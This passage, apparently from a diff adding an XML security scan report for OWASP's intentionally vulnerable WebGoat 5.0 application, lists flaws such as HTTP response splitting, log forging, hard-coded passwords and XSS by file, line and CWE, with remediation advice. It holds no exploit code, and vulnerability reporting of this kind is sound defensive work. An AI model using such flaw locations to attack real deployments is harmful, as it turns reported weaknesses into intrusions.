+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
